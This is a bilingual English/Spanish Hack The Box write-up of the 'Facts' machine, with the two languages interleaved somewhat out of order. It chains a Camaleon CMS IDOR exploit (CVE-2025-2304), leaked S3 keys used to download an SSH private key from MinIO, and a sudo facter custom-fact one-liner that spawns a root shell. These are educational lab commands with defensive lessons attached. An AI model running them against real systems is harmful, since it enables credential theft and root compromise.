Facts
Executive summary — Facts is a Linux machine that isn't solved with a single exploit, but by chaining misconfigurations: a vulnerable web app leaks AWS credentials, those credentials grant access to an internal S3 store (a MinIO instance) holding a private SSH key, and once inside, a legitimate binary (
facter) runnable as root enables the final escalation. A very realistic Web → Cloud → SSH → Root path.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.15.164 |
Attack map
[80/HTTP] Camaleon CMS 2.9.0
│ CVE-2025-2304 (IDOR) → temporary admin → credential dump
▼
[AWS] S3 keys leaked in the backend
│ point the endpoint at facts.htb:54321
▼
[S3/MinIO] bucket "internal" → .ssh/id_ed25519 (+ authorized_keys)
│ download the private key · the user is "trivia"
▼
[SSH] trivia@facts.htb (passphrase: dragonballz)
│ sudo -l → (ALL) NOPASSWD: /usr/bin/facter
▼
[ROOT] custom Ruby fact → exec("/bin/bash -p")
1. Reconnaissance
We start by mapping the attack surface. We run an nmap scan with default scripts and version detection:
nmap -Pn -n -sC -sV -T4 10.129.15.164
Why these flags:
-Pn→ skip host discovery ping; assume the host is up (HTB usually blocks ICMP).-n→ no DNS resolution, faster scan.-sC→ run the default NSE scripts (banners, HTTP titles, etc.).-sV→ identify each service's version.-T4→ aggressive timing template (fast but not reckless).
Relevant result: port 80/tcp (HTTP) is open.
Analysis: with a single web port exposed, the entry vector is almost certainly the web application. All initial enumeration focuses there.
Resumen ejecutivo — Facts es una maquina Linux que no se resuelve con un exploit unico, sino encadenando malas configuraciones: una aplicacion web vulnerable filtra credenciales de AWS, esas credenciales dan acceso a un almacenamiento S3 interno (una instancia MinIO) donde vive una clave SSH privada, y una vez dentro, un binario legitimo (
facter) ejecutable como root permite la escalada final. Un recorrido Web → Cloud → SSH → Root muy realista.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.15.164 |
Mapa del ataque
[80/HTTP] Camaleon CMS 2.9.0
│ CVE-2025-2304 (IDOR) → admin temporal → volcado de credenciales
▼
[AWS] claves de S3 filtradas en el backend
│ apuntar el endpoint a facts.htb:54321
▼
[S3/MinIO] bucket «internal» → .ssh/id_ed25519 (+ authorized_keys)
│ descargar la clave privada · el usuario es «trivia»
▼
[SSH] trivia@facts.htb (passphrase: dragonballz)
│ sudo -l → (ALL) NOPASSWD: /usr/bin/facter
▼
[ROOT] fact Ruby personalizado → exec("/bin/bash -p")
1. Reconocimiento
Todo empieza mapeando la superficie de ataque. Lanzamos un escaneo de nmap con scripts por defecto y deteccion de versiones:
nmap -Pn -n -sC -sV -T4 10.129.15.164
Por que estas flags:
-Pn→ no hace ping previo; asume que el host esta vivo (HTB suele bloquear ICMP).-n→ no resuelve DNS, escaneo mas rapido.-sC→ lanza los scripts NSE por defecto (banners, titulos HTTP, etc.).-sV→ identifica la version de cada servicio.-T4→ plantilla de tiempo agresiva (rapida sin pasarse).
Resultado relevante: el puerto 80/tcp (HTTP) esta abierto.
Analisis: con un unico puerto web expuesto, el vector de entrada casi con seguridad es la aplicacion web. Toda la enumeracion inicial se centra ahi.
2. Web enumeration
The target serves content on the virtual host facts.htb. Since it's an internal name that doesn't resolve via public DNS, we map it manually in /etc/hosts:
echo "10.129.15.164 facts.htb" | sudo tee -a /etc/hosts
Why: many servers serve different content based on the request's
Host:header (virtual hosting). Without this line we'd see a different page —or an error—. With it,http://facts.htbresolves to the target.
We browse to http://facts.htb and find an app with registration and login. We create a test account (test / test) and, once inside, notice two key things:
- The application is a Camaleon CMS (built on Ruby on Rails), version 2.9.0.
- Our user has the
clientrole (limited privileges).
Why the version matters: identifying the exact product + version is what lets us look up known public vulnerabilities (CVEs) instead of working blind.
3. Exploitation — CVE-2025-2304
Searching for that specific version leads us to CVE-2025-2304, an IDOR (Insecure Direct Object Reference) vulnerability that lets a low-privilege authenticated user temporarily escalate and extract internal credentials from the application.
We clone the public proof of concept for the CVE and run it, authenticating with our test user:
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U test -P test -e
What the exploit does under the hood:
- Logs in with the credentials we pass (
test:test). - Abuses the IDOR to temporarily escalate to administrator.
- With that context, dumps internal credentials from the backend.
Result: we obtain AWS S3 credentials (redacted):
s3 access key: AKIA...
s3 secret key: ******
s3 endpoint: http://localhost:54321
The lesson here: the serious flaw isn't just the escalation, but that the application stores infrastructure (AWS) credentials reachable from the application layer. A classic cloud misconfiguration.
4. Cloud enumeration (S3 / MinIO)
We configure the AWS client with the obtained keys (Access Key, Secret Key, region us-east-1, output json):
aws configure
The detail that makes it work: the leaked endpoint is http://localhost:54321, but localhost refers to the victim machine, not ours. Since the service (an S3-compatible MinIO instance) listens on that port of facts.htb, we point there:
http://localhost:54321 -> http://facts.htb:54321
We list the available buckets:
aws --endpoint-url http://facts.htb:54321 s3 ls
internal
randomfacts
The internal bucket smells of sensitive info. We enumerate it:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
Critical discovery — inside .ssh/:
id_ed25519
authorized_keys
A private SSH key exposed in a bucket. We download it and set correct permissions:
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519
Why
chmod 600: the SSH client ignores (for security) any private key readable by other users.600= only the owner can read/write.
5. SSH access
The authorized_keys file next to the key carries the owner user in its comment (user@host), telling us which account to use the key with: trivia.
ssh -i id_ed25519 trivia@facts.htb
The key is protected with a passphrase (dragonballz), and we get in:
trivia@facts:~$
Chain so far: AWS credential leak → access to internal storage → SSH key theft → shell as a system user.
6. User flag
The flag isn't in trivia's $HOME. We search across all of /home:
find /home -name user.txt 2>/dev/null
2>/dev/nulldiscards «permission denied» errors so the output stays clean.
The flag lives in another user's home and is readable from our account (another permissions misconfiguration). We read it at the path find returns.
7. Privilege escalation
First reflex after landing a user: check what we can run with sudo:
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Translation: we can run
facteras root and without a password. That's the way in.
Why facter is exploitable: it's Puppet's tool for gathering system «facts», written in Ruby. It can load custom facts from a directory, and those facts are arbitrary Ruby code. If facter runs as root, our Ruby code runs as root → command execution as root.
8. Exploiting Facter
We create a custom Ruby fact that spawns a privileged shell:
echo 'Facter.add(:pwn) do setcode do exec("/bin/bash -p") end end' > /tmp/pwn.rb
/bin/bash -ppreserves privileges (doesn't drop root's effective UID).
And we tell facter to load our custom facts directory:
sudo facter --custom-dir=/tmp pwn
Result:
root@facts:~#
9. Root flag
cat /root/root.txt
Machine fully compromised. 🏴
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Web | Camaleon CMS 2.9.0 | CVE-2025-2304 (IDOR) | Temporary admin escalation + credential dump |
| Cloud | AWS / MinIO | Infrastructure credentials reachable from the app; exposed internal bucket | Access to internal S3 storage |
| Access | SSH | Private key stored in an accessible bucket | Shell as user trivia |
| PrivEsc | sudo / facter | NOPASSWD on a binary that runs arbitrary Ruby | Execution as root |
Lessons learned
- Cloud misconfiguration: never store infrastructure credentials reachable from the application layer, and never expose internal buckets.
- Chaining: a «minor» flaw (the
clientrole) becomes full compromise when chained. Security is only as strong as its weakest link. - Internal endpoints:
localhostin a leaked credential is a clue: the service exists, you just need to point at the right host. - SSH key reuse: an accessible private key = total access. Protect and rotate them.
- Abusing legitimate binaries:
facterisn't malware, but running Ruby as root viasudoturns it into an escalation path. Always audit yoursudoers.
2. Enumeracion web
El objetivo sirve contenido en el virtual host facts.htb. Como es un nombre interno que no resuelve por DNS publico, lo mapeamos a mano en /etc/hosts:
echo "10.129.15.164 facts.htb" | sudo tee -a /etc/hosts
Por que: muchos servidores sirven contenido distinto segun la cabecera
Host:de la peticion (virtual hosting). Sin esta linea veriamos otra pagina —o un error—. Con ella,http://facts.htbresuelve al objetivo.
Navegamos a http://facts.htb y encontramos una aplicacion con registro y login. Creamos una cuenta de pruebas (test / test) y, al entrar, observamos dos cosas clave:
- La aplicacion es un Camaleon CMS (sobre Ruby on Rails), version 2.9.0.
- Nuestro usuario tiene el rol
client(privilegios limitados).
Por que importa la version: identificar producto + version exacta es lo que permite buscar vulnerabilidades publicas conocidas (CVE) en lugar de ir a ciegas.
3. Explotacion — CVE-2025-2304
Buscando esa version concreta damos con CVE-2025-2304, una vulnerabilidad de tipo IDOR (referencia directa e insegura a objetos) que permite a un usuario autenticado de bajo privilegio escalar temporalmente y extraer credenciales internas de la aplicacion.
Clonamos la prueba de concepto publica del CVE y la ejecutamos autenticandonos con nuestro usuario de pruebas:
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U test -P test -e
Que hace el exploit por dentro:
- Inicia sesion con las credenciales que le pasamos (
test:test). - Aprovecha el IDOR para escalar temporalmente a administrador.
- Con ese contexto, vuelca credenciales internas del backend.
Resultado: obtenemos credenciales de AWS S3 (redactadas):
s3 access key: AKIA...
s3 secret key: ******
s3 endpoint: http://localhost:54321
La leccion aqui: el fallo grave no es solo la escalada, sino que la aplicacion guarda credenciales de infraestructura (AWS) accesibles desde la capa de aplicacion. Un clasico de cloud misconfiguration.
4. Enumeracion Cloud (S3 / MinIO)
Configuramos el cliente de AWS con las claves obtenidas (Access Key, Secret Key, region us-east-1, salida json):
aws configure
El detalle que lo hace funcionar: el endpoint filtrado es http://localhost:54321, pero localhost se refiere a la maquina victima, no a la nuestra. Como el servicio (una instancia MinIO compatible con S3) escucha en ese puerto de facts.htb, apuntamos ahi:
http://localhost:54321 -> http://facts.htb:54321
Listamos los buckets disponibles:
aws --endpoint-url http://facts.htb:54321 s3 ls
internal
randomfacts
El bucket internal huele a informacion sensible. Lo enumeramos:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/
Descubrimiento critico — dentro de .ssh/:
id_ed25519
authorized_keys
Una clave privada SSH expuesta en un bucket. La descargamos y le ponemos permisos correctos:
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519
Por que
chmod 600: el cliente SSH ignora (por seguridad) cualquier clave privada legible por otros usuarios.600= solo el dueno puede leer/escribir.
5. Acceso SSH
El fichero authorized_keys que acompana a la clave lleva en su comentario el usuario dueno (usuario@host), lo que nos indica con que cuenta usar la clave: trivia.
ssh -i id_ed25519 trivia@facts.htb
La clave esta protegida con passphrase (dragonballz), y entramos:
trivia@facts:~$
Cadena hasta aqui: fuga de credenciales AWS → acceso a almacenamiento interno → robo de clave SSH → shell como usuario del sistema.
6. User flag
La flag no esta en el $HOME de trivia. La buscamos por todo /home:
find /home -name user.txt 2>/dev/null
2>/dev/nulldescarta los errores de «permiso denegado» para que la salida quede limpia.
La flag reside en el home de otro usuario y es legible desde nuestra cuenta (otra mala configuracion de permisos). La leemos en la ruta que devuelve find.
7. Escalada de privilegios
Primer reflejo tras conseguir un usuario: mirar que podemos ejecutar con sudo:
sudo -l
(ALL) NOPASSWD: /usr/bin/facter
Traduccion: podemos ejecutar
factercomo root y sin contrasena. Ese es el camino.
Por que facter es explotable: es la herramienta de Puppet para recopilar «facts» del sistema, escrita en Ruby. Permite cargar facts personalizados desde un directorio, y esos facts son codigo Ruby arbitrario. Si facter corre como root, nuestro codigo Ruby corre como root → ejecucion de comandos como root.
8. Explotacion con Facter
Creamos un fact personalizado en Ruby que abre una shell con privilegios:
echo 'Facter.add(:pwn) do setcode do exec("/bin/bash -p") end end' > /tmp/pwn.rb
/bin/bash -pconserva los privilegios (no descarta el UID efectivo de root).
Y le decimos a facter que cargue nuestro directorio de facts personalizados:
sudo facter --custom-dir=/tmp pwn
Resultado:
root@facts:~#
9. Root flag
cat /root/root.txt
Maquina comprometida por completo. 🏴
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Web | Camaleon CMS 2.9.0 | CVE-2025-2304 (IDOR) | Escalada temporal a admin + volcado de credenciales |
| Cloud | AWS / MinIO | Credenciales de infraestructura accesibles desde la app; bucket interno expuesto | Acceso al almacenamiento S3 interno |
| Acceso | SSH | Clave privada almacenada en un bucket accesible | Shell como el usuario trivia |
| PrivEsc | sudo / facter | NOPASSWD en un binario que ejecuta Ruby arbitrario | Ejecución como root |
Lecciones aprendidas
- Cloud misconfiguration: nunca guardes credenciales de infraestructura accesibles desde la capa de aplicacion, ni expongas buckets internos.
- Encadenamiento: un fallo «menor» (rol
client) se convierte en compromiso total al encadenarlo. La seguridad es tan fuerte como el eslabon mas debil. - Endpoints internos:
localhosten una credencial filtrada es una pista: el servicio existe, solo hay que apuntar al host correcto. - Reutilizacion de claves SSH: una clave privada accesible = acceso total. Protegelas y rotalas.
- Abuso de binarios legitimos:
facterno es malware, pero ejecutar Ruby como root consudolo convierte en una via de escalada. Audita siempre tusudoers.